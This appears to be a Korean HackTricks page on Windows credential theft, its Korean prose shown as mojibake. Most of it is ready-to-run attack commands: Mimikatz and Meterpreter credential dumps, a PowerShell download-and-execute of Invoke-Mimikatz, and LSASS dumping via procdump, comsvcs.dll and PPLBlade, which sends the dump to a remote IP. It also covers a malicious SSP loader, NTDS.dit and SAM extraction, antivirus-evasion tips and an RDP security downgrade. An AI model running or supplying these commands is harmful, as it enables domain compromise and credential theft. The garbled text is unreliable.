Windows Credentials ํ์ทจ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Credentials Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Mimikatz๊ฐ ํ ์ ์๋ ๋ค๋ฅธ ๊ฒ๋ค์ ์์๋ณด๋ ค๋ฉด this page.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Learn about some possible credentials protections here. ์ด๋ฌํ ๋ณดํธ ์กฐ์น๋ Mimikatz๊ฐ ์ผ๋ถ credentials๋ฅผ ์ถ์ถํ๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
Meterpreter๋ฅผ ์ด์ฉํ Credentials
Use the Credentials Plugin ๋ด๊ฐ ๋ง๋ ์ ์ฌ์ฉํ์ฌ ํผํด์ ๋ด๋ถ์์ passwords์ hashes๋ฅผ ๊ฒ์ํ์ธ์.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
AV ์ฐํ
Procdump + Mimikatz
Procdump from SysInternals ๋ ์ ์ Microsoft ๋๊ตฌ์ด๊ธฐ ๋๋ฌธ์ Defender์์ ํ์ง๋์ง ์์ต๋๋ค.\
์ด ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด dump the lsass process, download the dump, ๊ทธ๋ฆฌ๊ณ dump์์ extractํ์ฌ credentials locally๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค.
๋ํ SharpDump๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
์ด ํ๋ก์ธ์ค๋ SprayKatz๋ก ์๋์ผ๋ก ์ํ๋ฉ๋๋ค: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
์ฐธ๊ณ : ์ผ๋ถ AV๋ procdump.exe to dump lsass.exe์ ์ฌ์ฉ์ ์ ์ฑ์ผ๋ก ํ์งํ ์ ์์ต๋๋ค. ์ด๋ ๊ทธ๋ค์ด โprocdump.exeโ and โlsass.exeโ ๋ฌธ์์ด์ ํ์งํ๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ฐ๋ผ์ procdump์ lsass.exe์ PID๋ฅผ argument๋ก passํ์ฌ ์ ๋ฌํ๋ ๊ฒ์ด lsass.exe๋ผ๋ name lsass.exe๋ฅผ ์ง์ ์ ๋ฌํ๋ ๊ฒ instead of ๋ stealthierํฉ๋๋ค.
Dumping lsass with comsvcs.dll
C:\Windows\System32์ ์๋ comsvcs.dll์ด๋ผ๋ DLL์ ์ถฉ๋ ์ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ฅผ ๋ด๋นํฉ๋๋ค. ์ด DLL์๋ MiniDumpW๋ผ๋ function์ด ํฌํจ๋์ด ์์ผ๋ฉฐ rundll32.exe๋ก ํธ์ถํ๋๋ก ์ค๊ณ๋์ด ์์ต๋๋ค.
์ฒซ ๋ ์ธ์๋ ์ค์ํ์ง ์์ง๋ง, ์ธ ๋ฒ์งธ ์ธ์๋ ์ธ ๋ถ๋ถ์ผ๋ก ๊ตฌ๋ถ๋ฉ๋๋ค. ๋คํํ ํ๋ก์ธ์ค ID๊ฐ ์ฒซ ๋ฒ์งธ ๋ถ๋ถ์ ๊ตฌ์ฑํ๊ณ , ๋คํ ํ์ผ ์์น๊ฐ ๋ ๋ฒ์งธ ๋ถ๋ถ์ ๋ํ๋ด๋ฉฐ, ์ธ ๋ฒ์งธ ๋ถ๋ถ์ ์๊ฒฉํ ๋จ์ด full์
๋๋ค. ๋ค๋ฅธ ์ต์
์ ์กด์ฌํ์ง ์์ต๋๋ค.
์ด ์ธ ๊ตฌ์ฑ์์๋ฅผ ํ์ฑํ๋ฉด DLL์ ๋คํ ํ์ผ์ ์์ฑํ๊ณ ์ง์ ๋ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํด๋น ํ์ผ๋ก ๊ธฐ๋กํฉ๋๋ค.
comsvcs.dll์ ์ด์ฉํ๋ฉด lsass ํ๋ก์ธ์ค๋ฅผ ๋คํํ ์ ์์ผ๋ฏ๋ก procdump๋ฅผ ์
๋ก๋ํ๊ณ ์คํํ ํ์๊ฐ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์์ธํ https://en.hackndo.com/remote-lsass-dump-passwords/์ ์ค๋ช
๋์ด ์์ต๋๋ค.
๋ค์ ๋ช ๋ น์ด๋ฅผ ์คํ์ ์ฌ์ฉํฉ๋๋ค:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
์ด ํ๋ก์ธ์ค๋ฅผ ์๋ํํ ์ ์์ต๋๋ค lssasy.
lsass๋ฅผ Task Manager๋ก ๋คํํ๊ธฐ
- Task Bar์์ ์ค๋ฅธ์ชฝ ํด๋ฆญํ๊ณ Task Manager๋ฅผ ํด๋ฆญํฉ๋๋ค.
- More details๋ฅผ ํด๋ฆญํฉ๋๋ค.
- Processes ํญ์์ โLocal Security Authority Processโ ํ๋ก์ธ์ค๋ฅผ ์ฐพ์ต๋๋ค.
- โLocal Security Authority Processโ ํ๋ก์ธ์ค๋ฅผ ์ค๋ฅธ์ชฝ ํด๋ฆญํ๊ณ โCreate dump fileโ์ ํด๋ฆญํฉ๋๋ค.
lsass๋ฅผ procdump๋ก ๋คํํ๊ธฐ
Procdump๋ Microsoft์์ ์๋ช ํ ๋ฐ์ด๋๋ฆฌ๋ก sysinternals ์ค์ํธ์ ์ผ๋ถ์ ๋๋ค.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Dumpin lsass with PPLBlade
PPLBlade๋ Protected Process Dumper Tool๋ก, memory dump๋ฅผ ๋๋ ํํ๊ณ ๋์คํฌ์ ์ ์ฅํ์ง ์๊ณ ์๊ฒฉ ์ํฌ์คํ ์ด์ ์ผ๋ก ์ ์กํ๋ ๊ฒ์ ์ง์ํฉ๋๋ค.
Key functionalities:
- PPL ๋ณดํธ ์ฐํ
- Defender์ ์๊ทธ๋์ฒ ๊ธฐ๋ฐ ํ์ง๋ฅผ ํํผํ๊ธฐ ์ํด memory dump ํ์ผ์ ๋๋ ํ
- RAW ๋ฐ SMB ์ ๋ก๋ ๋ฐฉ๋ฒ์ผ๋ก memory dump๋ฅผ ๋์คํฌ์ ์ ์ฅํ์ง ์๊ณ ์ ๋ก๋(fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper โ MiniDumpWriteDump ์์ด SSP ๊ธฐ๋ฐ LSASS ๋คํ
Ink Dragon๋ ์ธ ๋จ๊ณ๋ก ๊ตฌ์ฑ๋ dumper์ธ LalsDumper๋ฅผ ๋ฐฐํฌํฉ๋๋ค. ์ด dumper๋ MiniDumpWriteDump๋ฅผ ์ ํ ํธ์ถํ์ง ์์ผ๋ฏ๋ก ํด๋น API์ ๋ํ EDR ํ
์ด ์๋ํ์ง ์์ต๋๋ค:
- Stage 1 loader (
lals.exe) โfdp.dll์์ ์๋ฌธ์d32๊ฐ๋ก ๋ ํ๋ ์ด์คํ๋๋ฅผ ์ฐพ์ ์ด๋ฅผrtu.txt์ ์ ๋ ๊ฒฝ๋ก๋ก ๋ฎ์ด์ฐ๊ณ , ํจ์น๋ DLL์nfdp.dll๋ก ์ ์ฅํ ๋คAddSecurityPackageA("nfdp","fdp")๋ฅผ ํธ์ถํฉ๋๋ค. ์ด๋ก ์ธํด LSASS๊ฐ ์ ์ฑ DLL์ ์๋ก์ด Security Support Provider(SSP)๋ก ๋ก๋ํ๊ฒ ๋ฉ๋๋ค. - Stage 2 inside LSASS โ LSASS๊ฐ
nfdp.dll์ ๋ก๋ํ๋ฉด, DLL์rtu.txt๋ฅผ ์ฝ๊ณ ๊ฐ ๋ฐ์ดํธ๋ฅผ0x20์ผ๋ก XORํ ๋ค ๋์ฝ๋๋ blob์ ๋ฉ๋ชจ๋ฆฌ์ ๋งคํํ๊ณ ์คํ์ ๋๊น๋๋ค. - Stage 3 dumper โ ๋งคํ๋ ํ์ด๋ก๋๋ ํด์๋ API ์ด๋ฆ๋ค๋ก๋ถํฐ ์ง์ syscall์ ํด์ํ์ฌ MiniDump ๋ก์ง์ ์ฌ๊ตฌํํฉ๋๋ค (
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))).Tom์ด๋ผ๋ ์ ์ฉ export๋%TEMP%\<pid>.ddt๋ฅผ ์ด์ด ์์ถ๋ LSASS ๋คํ๋ฅผ ํ์ผ์ ์คํธ๋ฆฌ๋ฐํ๊ณ ํธ๋ค์ ๋ซ์ ๋์ค์ exfiltrationํ ์ ์๊ฒ ํฉ๋๋ค.
Operator notes:
lals.exe,fdp.dll,nfdp.dll,rtu.txt๋ฅผ ๊ฐ์ ๋๋ ํฐ๋ฆฌ์ ๋ณด๊ดํ์ธ์. Stage 1์ ํ๋์ฝ๋ฉ๋ ํ๋ ์ด์คํ๋๋ฅผrtu.txt์ ์ ๋ ๊ฒฝ๋ก๋ก ๋ฎ์ด์ฐ๋ฏ๋ก ํ์ผ์ ๋ถ๋ฆฌํ๋ฉด ์ฒด์ธ์ด ๋์ด์ง๋๋ค.- ๋ฑ๋ก์
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages์nfdp๋ฅผ ์ถ๊ฐํ๋ ๋ฐฉ์์ผ๋ก ์ด๋ค์ง๋๋ค. ํด๋น ๊ฐ์ ์ง์ ์ค์ ํ๋ฉด LSASS๊ฐ ๋งค ๋ถํ ๋ง๋ค SSP๋ฅผ ๋ค์ ๋ก๋ํ๊ฒ ํ ์ ์์ต๋๋ค. %TEMP%\*.ddtํ์ผ๋ค์ ์์ถ๋ ๋คํ์ ๋๋ค. ๋ก์ปฌ์์ ์์ถ์ ํ๊ณ Mimikatz/Volatility์ ์ ๋ฌํด ์๊ฒฉ์ฆ๋ช ์ถ์ถ์ ์ํํ์ธ์.lals.exe์คํ์๋ admin/SeTcb ๊ถํ์ด ํ์ํ์ฌAddSecurityPackageAํธ์ถ์ด ์ฑ๊ณตํฉ๋๋ค; ํธ์ถ์ด ๋ฐํ๋๋ฉด LSASS๋ ํฌ๋ช ํ๊ฒ rogue SSP๋ฅผ ๋ก๋ํ๊ณ Stage 2๋ฅผ ์คํํฉ๋๋ค.- ๋์คํฌ์์ DLL์ ์ญ์ ํด๋ LSASS์์ ์ธ๋ก๋๋์ง๋ ์์ต๋๋ค. ๋ ์ง์คํธ๋ฆฌ ํญ๋ชฉ์ ์ญ์ ํ๊ณ LSASS๋ฅผ ์ฌ์์(๋๋ ์ฌ๋ถํ )ํ์ฌ ์ ๊ฑฐํ๊ฑฐ๋, ์ฅ๊ธฐ ์ง์์ฑ์ ์ํด ๊ทธ๋๋ก ๋ ์ ์์ต๋๋ค.
CrackMapExec
SAM ํด์ ๋คํ
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
๋์ DC์์ NTDS.dit ๋คํํ๊ธฐ
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
๋์ DC์์ NTDS.dit์ ์ํธ ์ด๋ ฅ ๋คํ
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
๊ฐ NTDS.dit ๊ณ์ ์ pwdLastSet ์์ฑ ํ์
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
์ด ํ์ผ๋ค์ C:\windows\system32\config\SAM ๋ฐ _C:\windows\system32\config\SYSTEM_์ ์์นํด์ผ ํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ผ๋ก๋ ๋จ์ํ ๋ณต์ฌํ ์ ์์ต๋๋ค. ์ด ํ์ผ๋ค์ ๋ณดํธ๋์ด ์์ต๋๋ค.
๋ ์ง์คํธ๋ฆฌ์์
ํด๋น ํ์ผ๋ค์ ํ์ทจํ๋ ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ์ ๋ ์ง์คํธ๋ฆฌ์์ ๋ณต์ฌ๋ณธ์ ์ป๋ ๊ฒ์ ๋๋ค:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
๋ค์ด๋ก๋ ํด๋น ํ์ผ๋ค์ Kali ๋จธ์ ์ผ๋ก ๊ฐ์ ธ์ค๊ณ ๋ค์์ ์ฌ์ฉํด hashes๋ฅผ ์ถ์ถํ์ธ์:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
์ด ์๋น์ค๋ฅผ ์ฌ์ฉํด ๋ณดํธ๋ ํ์ผ์ ๋ณต์ฌํ ์ ์์ต๋๋ค. Administrator ๊ถํ์ด ํ์ํฉ๋๋ค.
vssadmin ์ฌ์ฉ
vssadmin binary๋ Windows Server ๋ฒ์ ์์๋ง ์ฌ์ฉํ ์ ์์ต๋๋ค.
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
ํ์ง๋ง Powershell์์๋ ๋์ผํ๊ฒ ํ ์ ์์ต๋๋ค. ๋ค์์ SAM file์ ๋ณต์ฌํ๋ ๋ฐฉ๋ฒ์ ์์ ๋๋ค (์ฌ์ฉ๋ ํ๋ ๋๋ผ์ด๋ธ๋ โC:โ์ด๊ณ ์ ์ฅ ์์น๋ C:\users\Public) ํ์ง๋ง ์ด๊ฒ์ ์ด๋ค ๋ณดํธ๋ ํ์ผ์ ๋ณต์ฌํ๋ ๋ฐ์๋ ์ฌ์ฉํ ์ ์์ต๋๋ค:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
์ฑ ์์ ๊ฐ์ ธ์จ ์ฝ๋: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
๋ง์ง๋ง์ผ๋ก, PS script Invoke-NinjaCopy์ ์ฌ์ฉํ์ฌ SAM, SYSTEM ๋ฐ ntds.dit์ ๋ณต์ฌ๋ณธ์ ๋ง๋ค ์๋ ์์ต๋๋ค.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Credentials - NTDS.dit
NTDS.dit ํ์ผ์ Active Directory์ ํต์ฌ์ผ๋ก ์๋ ค์ ธ ์์ผ๋ฉฐ, ์ฌ์ฉ์ ๊ฐ์ฒด, ๊ทธ๋ฃน ๋ฐ ๊ทธ ๋ฉค๋ฒ์ญ์ ๊ดํ ์ค์ํ ๋ฐ์ดํฐ๋ฅผ ๋ณด๊ดํฉ๋๋ค. ๋๋ฉ์ธ ์ฌ์ฉ์์ password hashes๊ฐ ์ ์ฅ๋๋ ๊ณณ์ ๋๋ค. ์ด ํ์ผ์ Extensible Storage Engine (ESE) ๋ฐ์ดํฐ๋ฒ ์ด์ค์ด๋ฉฐ **%SystemRoom%/NTDS/ntds.dit**์ ์์นํฉ๋๋ค.
ํด๋น ๋ฐ์ดํฐ๋ฒ ์ด์ค์๋ ์ธ ๊ฐ์ง ์ฃผ์ ํ ์ด๋ธ์ด ์ ์ง๋ฉ๋๋ค:
- Data Table: ์ด ํ ์ด๋ธ์ ์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน๊ณผ ๊ฐ์ ๊ฐ์ฒด์ ๋ํ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ ์ฅํ๋ ์ญํ ์ ํฉ๋๋ค.
- Link Table: ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ๊ณผ ๊ฐ์ ๊ด๊ณ๋ฅผ ์ถ์ ํฉ๋๋ค.
- SD Table: ๊ฐ ๊ฐ์ฒด์ Security descriptors๊ฐ ์ฌ๊ธฐ์ ์ ์ฅ๋์ด ์ ์ฅ๋ ๊ฐ์ฒด๋ค์ ๋ํ ๋ณด์ ๋ฐ ์ ๊ทผ ์ ์ด๋ฅผ ์ ๊ณตํฉ๋๋ค.
More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows๋ ํด๋น ํ์ผ๊ณผ ์ํธ์์ฉํ๊ธฐ ์ํด _Ntdsa.dll_์ ์ฌ์ฉํ๋ฉฐ, ์ด๋ _lsass.exe_์ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. ๋ฐ๋ผ์ NTDS.dit ํ์ผ์ ์ผ๋ถ๋ lsass ๋ฉ๋ชจ๋ฆฌ ๋ด๋ถ์ ์์นํ ์ ์์ต๋๋ค(์ฑ๋ฅ ํฅ์์ ์ํด cache๋ฅผ ์ฌ์ฉํ๋ฏ๋ก ์ต๊ทผ์ ์ ๊ทผ๋ ๋ฐ์ดํฐ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค).
NTDS.dit ๋ด๋ถ์ ํด์ ๋ณตํธํ
ํด์๋ 3๋ฒ ์ํธํ๋ฉ๋๋ค:
- Password Encryption Key (PEK)๋ฅผ BOOTKEY์ RC4๋ฅผ ์ฌ์ฉํด ๋ณตํธํํฉ๋๋ค.
- PEK์ RC4๋ฅผ ์ฌ์ฉํด hash๋ฅผ ๋ณตํธํํฉ๋๋ค.
- DES๋ฅผ ์ฌ์ฉํด hash๋ฅผ ๋ณตํธํํฉ๋๋ค.
PEK๋ every domain controller์์ same value๋ฅผ ๊ฐ์ง์ง๋ง, NTDS.dit ํ์ผ ๋ด๋ถ์์๋ domain controller์ **SYSTEM file of the domain controller (is different between domain controllers)**์ BOOTKEY๋ฅผ ์ฌ์ฉํด cyphered๋์ด ์์ต๋๋ค. ์ด ๋๋ฌธ์ NTDS.dit ํ์ผ์์ ์๊ฒฉ ์ฆ๋ช ์ ์ป์ผ๋ ค๋ฉด NTDS.dit์ SYSTEM ํ์ผ์ด ํ์ํฉ๋๋ค (C:\Windows\System32\config\SYSTEM).
Ntdsutil๋ฅผ ์ฌ์ฉํ NTDS.dit ๋ณต์ฌ
Available since Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
You could also use the volume shadow copy ํธ๋ฆญ์ผ๋ก ntds.dit ํ์ผ์ ๋ณต์ฌํ ์๋ ์์ต๋๋ค. ๋ํ SYSTEM file์ ์ฌ๋ณธ๋ ํ์ํ๋ค๋ ์ ์ ๊ธฐ์ตํ์ธ์(๋ค์, dump it from the registry or use the volume shadow copy ํธ๋ฆญ).
NTDS.dit์์ ํด์ ์ถ์ถ
NTDS.dit์ SYSTEM ํ์ผ์ ์ ์ํ ํ secretsdump.py ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ํด์๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
๋ํ ์ ํจํ domain admin user๋ฅผ ์ฌ์ฉํ์ฌ ์๋์ผ๋ก ์ถ์ถํ ์ ์์ต๋๋ค:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
For ์ฉ๋์ด ํฐ NTDS.dit ํ์ผ์ ๊ฒฝ์ฐ gosecretsdump๋ฅผ ์ฌ์ฉํด ์ถ์ถํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
๋ง์ง๋ง์ผ๋ก, metasploit module: post/windows/gather/credentials/domain_hashdump ๋๋ mimikatz lsadump::lsa /inject๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
NTDS.dit์์ ๋๋ฉ์ธ ๊ฐ์ฒด๋ฅผ SQLite ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ก ์ถ์ถํ๊ธฐ
NTDS ๊ฐ์ฒด๋ ntdsdotsqlite๋ก SQLite ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ถ์ถํ ์ ์์ต๋๋ค. ์ด ๋๊ตฌ๋ ๋น๋ฐ๋ฟ๋ง ์๋๋ผ ์ ์ฒด ๊ฐ์ฒด์ ๊ทธ ์์ฑ๋ ์ถ์ถํ๋ฏ๋ก, ์๋ณธ NTDS.dit ํ์ผ์ ์ด๋ฏธ ํ๋ณดํ ๊ฒฝ์ฐ ์ถ๊ฐ ์ ๋ณด ์ถ์ถ์ ์ ์ฉํฉ๋๋ค.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
The SYSTEM hive๋ ์ ํ ์ฌํญ์ด์ง๋ง ๋ค์๊ณผ ๊ฐ์ ๋น๋ฐ ๋ณตํธํ๋ฅผ ํ์ฉํฉ๋๋ค (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). ๊ธฐํ ์ ๋ณด์ ํจ๊ป ๋ค์ ๋ฐ์ดํฐ๊ฐ ์ถ์ถ๋ฉ๋๋ค : ํด์๊ฐ ํฌํจ๋ ์ฌ์ฉ์ ๋ฐ ๋จธ์ ๊ณ์ , UAC flags, ๋ง์ง๋ง ๋ก๊ทธ์จ ๋ฐ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ํ์์คํฌํ, ๊ณ์ ์ค๋ช
, ์ด๋ฆ, UPN, SPN, ๊ทธ๋ฃน ๋ฐ ์ฌ๊ท์ ๋ฉค๋ฒ์ญ, ์กฐ์ง ๋จ์ ํธ๋ฆฌ ๋ฐ ๋ฉค๋ฒ์ญ, ์ ๋ขฐ ๋๋ฉ์ธ(ํธ๋ฌ์คํธ ์ ํยท๋ฐฉํฅยท์์ฑ)โฆ
Lazagne
๋ฐ์ด๋๋ฆฌ๋ here์์ ๋ค์ด๋ก๋ํ์ธ์. ์ด ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ๋ฌ ์ํํธ์จ์ด์์ credentials๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค.
lazagne.exe all
SAM ๋ฐ LSASS์์ ์๊ฒฉ ์ฆ๋ช ์ ์ถ์ถํ๊ธฐ ์ํ ๊ธฐํ ๋๊ตฌ
Windows credentials Editor (WCE)
์ด ๋๊ตฌ๋ ๋ฉ๋ชจ๋ฆฌ์์ ์๊ฒฉ ์ฆ๋ช ์ ์ถ์ถํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค์์์ ๋ค์ด๋ก๋ํ์ธ์: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
SAM ํ์ผ์์ ์๊ฒฉ ์ฆ๋ช ์ ์ถ์ถํฉ๋๋ค.
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
SAM ํ์ผ์์ credentials ์ถ์ถ
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Download it from: http://www.tarasco.org/security/pwdump_7 and just ์คํํ๋ฉด ๋น๋ฐ๋ฒํธ๊ฐ ์ถ์ถ๋ฉ๋๋ค.
์ ํด RDP ์ธ์ ์์ง ๋ฐ ๋ณด์ ์ ์ด ์ฝํ
Ink Dragonโs FinalDraft RAT includes a DumpRDPHistory tasker whose techniques are handy for any red-teamer:
DumpRDPHistory ์คํ์ผ ํ ๋ ๋ฉํธ๋ฆฌ ์์ง
- Outbound RDP ๋์ โ
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*์ ๋ชจ๋ ์ฌ์ฉ์ hive๋ฅผ ํ์ฑํฉ๋๋ค. ๊ฐ ์๋ธํค์๋ ์๋ฒ ์ด๋ฆ,UsernameHint, ๋ง์ง๋ง ์ฐ๊ธฐ ํ์์คํฌํ๊ฐ ์ ์ฅ๋ฉ๋๋ค. PowerShell๋ก FinalDraft์ ๋ก์ง์ ์ฌํํ ์ ์์ต๋๋ค:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Inbound RDP ์ฆ๊ฑฐ โ
Microsoft-Windows-TerminalServices-LocalSessionManager/Operational๋ก๊ทธ์์ Event ID 21 (์ฑ๊ณต์ ๋ก๊ทธ์จ) ๋ฐ 25 (์ฐ๊ฒฐ ๋๊น)์ ์ฟผ๋ฆฌํ์ฌ ๋๊ฐ ํด๋น ์์คํ ์ ๊ด๋ฆฌํ๋์ง ๋งคํํฉ๋๋ค:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
์ผ์ ํ๊ฒ ์ ์ํ๋ Domain Admin์ ์๊ฒ ๋๋ฉด, ๊ทธ๋ค์ ์ฐ๊ฒฐ ๋๊น ์ธ์
์ด ๋จ์ ์๋ ๋์ LSASS๋ฅผ (LalsDumper/Mimikatz๋ก) ๋คํํ์ธ์. CredSSP + NTLM fallback์ ๊ทธ๋ค์ verifier์ ํ ํฐ์ LSASS์ ๋จ๊ธฐ๋ฉฐ, ์ด๋ฅผ SMB/WinRM์ ํตํด ์ฌ์ฌ์ฉํ์ฌ NTDS.dit๋ฅผ ํ๋ํ๊ฑฐ๋ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ persistence๋ฅผ ์ค์นํ ์ ์์ต๋๋ค.
FinalDraft๊ฐ ๋์์ผ๋ก ํ๋ ๋ ์ง์คํธ๋ฆฌ ๋ค์ด๊ทธ๋ ์ด๋
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
